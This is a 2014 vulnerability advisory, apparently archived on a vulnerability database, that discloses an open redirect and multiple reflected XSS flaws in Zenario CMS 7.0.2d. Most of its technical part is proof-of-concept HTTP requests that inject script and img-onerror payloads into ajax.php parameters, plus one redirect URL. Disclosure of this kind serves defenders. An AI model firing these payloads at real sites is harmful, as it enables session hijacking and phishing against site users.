Lucene search
K

Zenario CMS 7.0.2d Reflected XSS and Open Redirect Vulnerabilities

🗓️ 20 Nov 2014 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 26 Views

Zenario CMS 7.0.2d Reflected XSS and Open Redirect Vulnerabilities in index.php and ajax.ph

Code
<html><body><p>Zenario CMS 7.0.2d Reflected XSS and Open Redirect Vulnerabilities


Vendor:  Tribal Ltd.
Product web page: http://www.zenar.io
Affected version: 7.0.2d (Community Edition)

Summary: Zenario is a web-based content management system for sites
with one or many languages. It is simple to use, and can grow with
your requirements.

Desc: Input passed via the 'location' GET parameter in 'index.php'
script is not properly verified before being used to redirect users.
This can be exploited to redirect a user to an arbitrary website e.g.
when a user clicks a specially crafted link to the affected script
hosted on a trusted domain. Zenario suffers from multiple reflected
cross-site scripting vulnerabilities as well. The issues are triggered
when input passed via several parameters to 'ajax.php' script is not
properly sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's browser
session in context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5207
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5207.php


15.11.2014

---


Open Redirect:
--------------
Param(s): location
===================

http://192.168.1.117/zenario/zenario/admin/ie_compatibility_mode/index.php?location=http://www.zeroscience.mk



Reflected XSS:
--------------
Param(s): cID, refiner__content_type, refiner__language, __path__, cType, cVersion, frontEnd, id, instanceId, slotName
=======================================================================================================================

GET /zenario/zenario/ajax.php?__pluginClassName__=zenario_common_features&amp;__path__=zenario__administration/panels/backup"&gt;<script>alert(1);</script>&amp;method_call=handleOrganizerPanelAJAX&amp;create=11 HTTP/1.1
GET /zenario/zenario/admin/ajax.php?_json=1&amp;path=zenario__content/nav/content/panel&amp;refinerId=en-us&amp;refinerName=language&amp;refiner__content_type=html"&gt;<img onerror="alert(8)" src="x"/>&amp;refiner__language=en-us&amp;_limit=50&amp;_start=0&amp;_item=html_1&amp;_sort_col=first_created_datetime&amp;_sort_desc=0&amp;_filters=%7B%7D HTTP/1.1
GET /zenario/zenario/admin/ajax.php?_json=1&amp;path=zenario__content/nav/content/panel&amp;refinerId=en-us&amp;refinerName=language&amp;refiner__content_type=html&amp;refiner__language=en-us"&gt;<img onerror="alert(9)" src="x"/>&amp;_limit=50&amp;_start=0&amp;_item=html_1&amp;_sort_col=first_created_datetime&amp;_sort_desc=0&amp;_filters=%7B%7D HTTP/1.1
POST /zenario/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=zenario_publish&amp;id=html_1&amp;cID=1"&gt;<img onerror="alert(2)" src="x"/>&amp;cType=html&amp;cVersion=1 HTTP/1.1
POST /zenario/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=plugin_settings&amp;cID=1&amp;cType=html"&gt;<img onerror="alert(3)" src="x"/>&amp;cVersion=1&amp;slotName=Top_Side_2&amp;instanceId=7&amp;frontEnd=1 HTTP/1.1
POST /zenario/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=plugin_settings&amp;cID=1&amp;cType=html&amp;cVersion=1"&gt;<img onerror="alert(4)" src="x"/>&amp;slotName=Top_Side_2&amp;instanceId=7&amp;frontEnd=1 HTTP/1.1
POST /zenario/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=plugin_settings&amp;cID=1&amp;cType=html&amp;cVersion=1&amp;slotName=Top_Side_2&amp;instanceId=7&amp;frontEnd="&gt;<img onerror="alert(6)" src="x"/> HTTP/1.1
POST /zenario/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=zenario_publish&amp;id=html_190"&gt;<img onerror="alert(6)" src="x"/>&amp;cID=1&amp;cType=html&amp;cVersion=1 HTTP/1.1
POST /zenario/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=plugin_settings&amp;cID=1&amp;cType=html&amp;cVersion=1&amp;slotName=Top_Side_2&amp;instanceId="&gt;<img onerror="alert(7)" src="x"/>&amp;frontEnd=1 HTTP/1.1
POST /zenario2/zenario/admin/ajax.php?_json=1&amp;_ab=1&amp;path=plugin_settings&amp;cID=1&amp;cType=html&amp;cVersion=1&amp;slotName=Top_Side_2"&gt;<img onerror="alert(10)" src="x"/>&amp;instanceId=7&amp;frontEnd=1 HTTP/1.1
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation